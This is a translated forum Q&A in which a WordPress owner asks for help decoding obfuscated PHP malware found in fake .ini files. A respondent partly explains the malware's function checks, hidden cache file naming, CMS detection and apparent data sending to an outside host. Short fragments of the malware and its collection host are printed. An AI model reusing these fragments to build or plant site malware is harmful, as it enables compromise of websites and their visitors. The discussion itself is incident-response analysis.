如何解码 WordPress PHP 病毒文件?

How to decode WorPress PHP virus file?

我的 WordPress 网站感染了一些恶意文件,发现了很多如下文件, 我尝试使用一些在线解码器对其进行解码,但没有成功。我想知道黑客用这个文件做了什么

我猜他控制了我网站上的更多文件,但扫描仪只检测到这段代码,通过解码希望找到其他文件路径

找到的文件路径如下

wp-includes/rest-api/requests.ini
wp-includes/Requests/IPconfig.ini

下面是文件的一小部分

这里有完整的文件在 pastebin 中 https://pastebin.com/EfUNTaRr

if(empty($_GET['ineedthispage'])){
ini_set('display_errors',"Off");
ignore_user_abort(1);
$I7rKRVNNat3intmYmv="10.1";
$IssgsfYr3WZGty="";
$IL8lxLZy5SGibS7od="";
$IGvpZBegv061k="";
if(!empty($_COOKIE['PHPSSIDDD2'])){
    $IGvpZBegv061k=$_COOKIE['PHPSSIDDD2'];
    }
    $IvVtGi5vH1edafW="RE3PUldBWUlTV4";
    if(!IIlFCqjaR5JVZ33VAo('curl_init')){
        $IssgsfYr3WZGty.="1\t";
        $IL8lxLZy5SGibS7od.="1\t";
    }
    if(!IIlFCqjaR5JVZ33VAo('fopen')){

有人可以解码粘贴站上的那个文件吗?谢谢

我使用 phpcs-fixer 来查看此脚本的一些漂亮视图。你可以看到它here。我没有花太多时间解码,所以我的推理可能是错误的=)

函数 IIlFCqjaR5JVZ33VAo 类似于改进的 function_exists,它检查函数是否存在并且可调用且未禁用(从 ini 获取)

function __function_exists($functionName)
{
    $functionName=strtolower(trim($functionName));
    if ($functionName=='') {
        return false;
    }
    $disabledFunctions=explode(",", @ini_get("disable_functions"));
    if (empty($disabledFunctions)) {
        $disabledFunctions=array();
    } else {
        $disabledFunctions=array_map('trim', array_map('strtolower', $disabledFunctions));
    }
    return (function_exists($functionName) && is_callable($functionName) && !in_array($functionName, $disabledFunctions));
}

脚本在文件中收集了很多东西。按此规则编码的文件名:

// this is like file hash
$ItZg0lwPNAV8rSZCcknwRw6=md5(__FILE__);
// ... some other stuff and define directory like {path_to_file}/cache{file_hash}
$Id3jh7jnThGJnxV0=dirname(__FILE__).DIRECTORY_SEPARATOR."cache".$ItZg0lwPNAV8rSZCcknwRw6;
// and then file stored in defined dir
$Id3jh7jnThGJnxV1=$Id3jh7jnThGJnxV0.DIRECTORY_SEPARATOR."ke".substr($ItZg0lwPNAV8rSZCcknwRw6, 0, 8)."ys";
// and so on for [keys, useragents, botips, referers, ...] with interesting logic which I don'tfully understand

然后一些数据发送到http://main.infowp.info/getdata.php。但我不确定。为什么是这个域名?可以看看here

并通过检查特定功能和 class 是否存在来确定使用的 CMS:WP、Drupal 或 Joomla:wp_insert_post、node_save、JFactory。